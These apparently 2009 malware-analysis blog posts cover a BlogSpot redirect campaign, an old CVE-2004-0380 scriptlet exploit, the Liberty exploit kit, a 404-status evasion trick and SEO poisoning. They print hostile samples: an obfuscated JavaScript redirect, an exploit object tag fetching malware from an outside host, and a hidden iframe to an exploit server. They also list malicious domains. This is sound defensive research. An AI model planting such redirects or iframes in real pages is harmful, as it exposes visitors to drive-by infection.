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Mutu campaign on BlogSpot
October 10, 2009
A new malware campaign is currently abusing BlogSpot. I'll call it the "Mutu" campaign from the text that is found on the malicious pages. I have so far detected almost 400 blogs that are actively involved in the campaign.
A malicious blog looks like the following picture. Note that the actual text, layout, and color themes may vary across different pages.
A malicious page contains a script tag similar to the following:
<script language="javascript">
location.href='\u0068\u0074\u0074\u0070\u003a\u002f\u002f'
+ unescape('%77%77%77%2e%78')+unescape('%78%78%6f%64')
+'\u006e\u006f\u006b\u006c\u0061\u0073'+'sniki'
+unescape('%2e%63%6f%6d%2f')+unescape('%3f%61%64')
+unescape('%76%3d%67%61%72')+'bunov'+''
</script>
The script causes the victim's browser to fetch a malicious (or at least dubious) page from one of several domains. These are the domains that are currently being redirected to:
- afsharteam1.com
- mihavom.cn
- news.allwinsoft.ru
- relstagu.ru
- www.pillsonlinerxhealth.net
- www.xxxodnoklassniki.com
Some of these domains appear to be selling various items (cell phone,
drugs). However, others (at least afsharteam1.com) launch
drive-by-download attacks. As a result, a malware with limited and
generic detection on
VirusTotal gets downloaded and launched on the
vicitm's machine.
For more details, see the Wepawet report for
bertilladingman36429.blogspot.com,
a blog that redirects to drive-by attacks.
Old exploit still kicking (CVE-2004-0380)
October 9, 2009
Some exploits just do not want to go away.
Case in point is an exploit for CVE-2004-0380 (yes, 2004!) that I have recently found in hxxp://lixiaoxia.vhost008.cn/2.htm. The page is rather simple:
<html>
<OBJECT style="display:none;" type="text/x-scriptlet"
data="MK:@MSITStore:m
html:c:\.mht!ht
tp://http://lixiaoxia.vhost008.cn/logo.jpg ::/102%2E%68tm">
</OBJECT>
</body>
</html>
The object tag instantiates a
scriptlet.
A scriptlet is essentially a reusable object written as a regular web
page in which scripts follow certain conventions. Think of ActiveX
controls implemented in HTML and VB script. For the sake of historical
completeness,
scriptlets were introduced in Internet Explorer 4, deprecated in
Internet Explorer 5, and disabled by default in Internet Explorer 7.
Talk about a successful technology...
After a simple decoding step, the data attribute of the scriptlet
reveals the content
MK:@MSITStore:mhtml:c:\.mht!http://http://lixiaoxia.vhost008.cn/logo.jpg
::/102.htm, which, on a vulnerable system, would cause the malware
logo.gif to be downloaded on the victim's computer.
The malware logo.gif has surprisingly good detection on
VirusTotal
(34/41!). I wonder if it is also been around since 2004...
Liberty exploit toolkit
October 8, 2009
Here is another exploit toolkit that has been making the rounds
recently: the Liberty exploit pack. Most notably, in mid-September,
Liberty was used in a drive-by-download campaign that injected iframes
pointing at searra-ditol.cn and embrari-1.cn into a large number of
vulnerable web sites.
A couple of pages from the toolkit admin panel:
The browser statistics page:
The referrer statistics page:
Finally, you can see the Wepawet domain report for searra-ditol.cn and for embrari-1.cn.
JavaScript anti-analysis tricks: 404 status code
October 4, 2009
Here is an old trick for foiling manual and automated analysis of malicious pages that I still see used from time to time. When the malicious page is requested, the server sends back a 404 ("Not Found") HTTP status code. Regularly, this error message indicates that the requested resource could not be found on the server, and the returned page simply tries to help the visitor correcting the error. However, in the case of malicious pages that use this trick, the body of the apparently missing page contains code that attempts to exploit some browser vulnerabilities or to redirects to other malicious web sites.
The following is an example of a page (hxxp://yahoo-analytics.net/laso/s.php) that uses this technique:
HTTP/1.1 404 Not Found
Date: Tue, 29 Sep 2009 07:26:41 GMT
Server: Apache/2
Last-Modified: Tue, 01 Sep 2009 12:55:36 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 133
Content-Type: text/html
<iframe src="http://213.163.89.54/lib/index.php"
width=0 height=0
style="hidden"
frameborder=0 marginheight=0 marginwidth=0
scrolling=no>
</iframe>
The headers indicate that the page is missing, but the body contains an iframe that redirects the browser to a page that launches various browser exploits. Of course, stopping the analysis after observing the 404 error code would not reveal any wrongdoing. A complete analysis instead (see the Wepawet report for hxxp://yahoo-analytics.net/laso/s.php for all the details) shows that after the redirection a malicious PDF and Flash files are delivered to the visitor's browser.
SEO to the top
October 2, 2009
A couple of days ago, Stephan Chenette of Websense had a nice post out on an active SEO campaign (in the following days, Websense has also released an alert to discuss how the campaign abuses the launch of Google Wave).
I am also following this campaign, which seems quite widespread, in terms of the number of web sites and search terms that are involved. Unfortunately, the campaign is also successful in pushing some of its malicious pages high up in the results returned for popular query terms by Google.
Here is a case where they even make it to the top spot:
As explained in Chenette's post, the malicious results (in red in the figure above) redirect to sites that push rogue AV software.
No doubt, the taste of that John Dory is going to be quite... sour.
